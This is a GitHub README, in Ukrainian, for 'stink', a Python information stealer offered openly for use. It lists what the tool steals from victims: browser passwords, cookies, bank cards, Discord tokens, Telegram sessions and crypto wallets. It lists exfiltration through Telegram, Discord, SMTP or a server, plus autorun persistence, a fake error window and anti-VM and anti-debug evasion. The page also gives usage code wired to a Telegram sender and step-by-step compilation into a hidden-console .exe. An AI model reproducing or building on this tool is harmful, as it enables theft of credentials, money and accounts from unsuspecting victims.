Skip to content

Latest commit

 

History

History
220 lines (162 loc) · 7.96 KB

ua.md

File metadata and controls

220 lines (162 loc) · 7.96 KB

stink

Стилер всього лише в декілька рядків з відправкою до Telegram / Server / Discord / SMTP. Без залежностей, тільки вбудовані бібліотеки.

Wiki: https://github.com/FallenAstaroth/stink/wiki

Опис

stink вже має значний функціонал, який тільки розширюватиметься.

Навігація

Поточні можливості

  1. Підтримка наступних браузерів:
    • Chrome
    • Opera
    • Opera GX
    • Edge
    • Brave
    • Vivaldi
    • Yandex (Частково)
  2. Збір наступних даних:
    • Скріншот
    • Кукі
    • Паролі
    • Банківські карти
    • Історія
    • Закладки
    • IP-адреса
    • Конфігурація системи
    • Активні процеси
    • Токени Discord
    • Сесії Telegram
    • Хости FileZilla
    • Крипто гаманці:
      • Metamask
      • Phantom
      • Atomic
      • Exodus
      • Інші 10 гаманців
    • Конфіги Steam
  3. Вбудовані методи відправлення:
    • Telegram
    • Server
    • Discord
    • SMTP
  4. Підтримка мультипрофілів браузера.
  5. Виконання в окремому потоці.
  6. Виконання з використанням багатопроцесорності.
  7. Можливість додання в автозапуск.
  8. Вивід вікна з фейковою помилкою.
  9. Виконання без створення будь яких файлів.
  10. Підвантаження і запуск файлів за посиланням.
  11. Збір файлів зазначеного формату за вказаними директоріями.
  12. Припинення роботи на віртуальних машинах та при спробі дебагінгу.

Приклад використання

Стандартний

from stink import Stealer, Senders

if __name__ == '__main__':
    Stealer(senders=[Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID)]).run()

Певні модулі

Приклад зі збором тільки системних даних і скріншота.

from stink import Stealer, Features, Senders

if __name__ == '__main__':
    Stealer(
        senders=[
            Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID)
        ], 
        features=[
            Features.system,
            Features.screenshot
        ]
    ).run()

Додаткові параметри

  • features - список модулів з stink.Features:

    • passwords - збір паролів.

    • cookies - збір кукі.

    • cards - збір банківських карт.

    • history - збір історії пошуку.

    • bookmarks - збір закладок.

    • extensions - збір розширень браузера.

    • processes - збір активних процесів.

    • system - збір конфігурації системи.

    • screen - скріншот.

    • discord - збір токенів Discord.

    • telegram - збір сесій Telegram.

    • filezilla - збір хостів FileZilla.

    • wallets – збір крипто гаманців.

    • steam - збір конфігів Steam.

  • utils - список утиліт з stink.Utils:

  • protectors - список протекторів із stink.Protectors:

    • processes - перевірка процесів на наявність програм для дебагінгу та віртуальних машин.

    • mac_address - перевірка MAC адрес на присутність у чорному списку.

    • computer - перевірка назви PC на присутність у чорному списку.

    • user - перевірка імені користувача на присутність у чорному списку.

    • hosting - перевірка чи перебуває PC на хостингу.

    • http_simulation - перевірка на симуляцію HTTP.

    • virtual_machine - перевірка на віртуальну машину.

    • disable - повне вимкнення всіх перевірок.

    • all - увімкнення всіх перевірок.

  • senders - список способів надсилання з stink.Senders:

  • loaders - список підвантажувачів файлів з stink:

  • grabbers - список збирачів файлів з stink:

Створення exe

Python являється інтерпретованою мовою програмування, тому ми спочатку транслюємо його в C, а потім скомпілюємо в .exe файл. Для цього нам знадобиться Nuitka.

Створення виконуваного файла

  1. Завантажуємо архів.
  2. Розпаковуємо архів і переходимо в директорію stink-master.
  3. Створюємо test.py (або будь-яку іншу назву) файл в цій же директорії з наступним кодом:
from stink import Stealer, Senders

if __name__ == '__main__':
    Stealer(senders=[Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID)]).run()

За допомогою BAT

  1. Запускаємо compiler.bat.

За допомогою CMD

  1. Відкриваємо cmd.
  2. Прописуємо команду:
pip install virtualenv
  1. Переходимо в папку з файлом test.py:
cd path\to\file
  1. Створюємо віртуальне оточення і активуємо його:
virtualenv venv
venv\Scripts\activate
  1. Встановлюємо Nuitka:
pip install Nuitka
  1. Для зменшення розміру файла додатково встановлюємо Zstandard (опціонально):
pip install zstandard
  1. Прописуємо команду:
nuitka --onefile --plugin-enable=multiprocessing --windows-disable-console test.py

Після виконання команди отримуємо test.exe файл із прихованою консоллю.